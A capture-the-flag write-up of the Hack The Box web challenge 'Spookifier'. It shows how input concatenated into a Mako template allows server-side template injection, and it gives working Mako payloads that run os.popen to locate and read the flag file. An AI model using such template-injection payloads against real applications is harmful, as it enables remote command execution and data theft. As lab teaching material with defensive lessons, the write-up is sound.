root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat spookifier.md
// writeups

Spookifier

4 Nov 2022 · 3 min read
Spookifier — HTB challenge
A web app that "stylises" text. User input ends up concatenated inside a Mako template, enabling SSTI and, from there, command execution and flag disclosure.

Challenge overview

FieldValue
PlatformHack The Box · Challenge
CategoryWeb
DifficultyVery Easy
StateRetired
Filesmain.py · routes.py · util.py · templates/index.html

Attack map

[Web] text input
      │
      ▼
[util.py] generate_render() → Mako
      │
      ▼
[SSTI ${7*7}=49] confirmed
      │
      ▼
[RCE] os.popen('cat /flag.txt')
      │
      ▼
[FLAG]

1. Review the source

The challenge ships the source. Following the input flow (routes.py → spookify() → util.py) leads to the rendering function, which is usually where the bug lives.
main.py     -> arranque Flask
routes.py   -> recibe input del usuario
util.py     -> spookify() / change_font() / generate_render()

2. Locate the vulnerable function

generate_render() drops the user's text straight into the Mako template instead of passing it as a variable. The problem isn't Mako — it's how it's used.
texto del usuario  →  concatenado dentro de la template  →  Mako lo interpreta

3. Confirm the SSTI (Mako, not Jinja2)

Mako doesn't use {{7*7}} (that's Jinja2). Its expression syntax is ${...}. If 49 comes back, the injection is real.
${7*7}
49

4. Locate the flag

A Mako Python block (<% ... %>) lets us run system commands. First we find where the flag lives.
<% import os; x = os.popen('find / -type f -name flag.txt').read() %> ${x}
/flag.txt

5. Read the flag

<% import os; x = os.popen('cat /flag.txt').read() %> ${x}
HTB{...}

Chain summary

PhaseComponentVulnerabilityImpact
Code reviewgenerate_render()SSTI in MakoMako syntax interpreted
ExploitationTemplate engine&lt;% %&gt; block with os.popenRCE → read /flag.txt

Lessons learned

  • Identify the template engine before firing payloads: Jinja2 ({{ }}) and Mako (${ }) don't share syntax.
  • Never concatenate user input into a template — always pass it as a context variable.
  • Code review steers the attack: tracing data from source to sink beats blind fuzzing.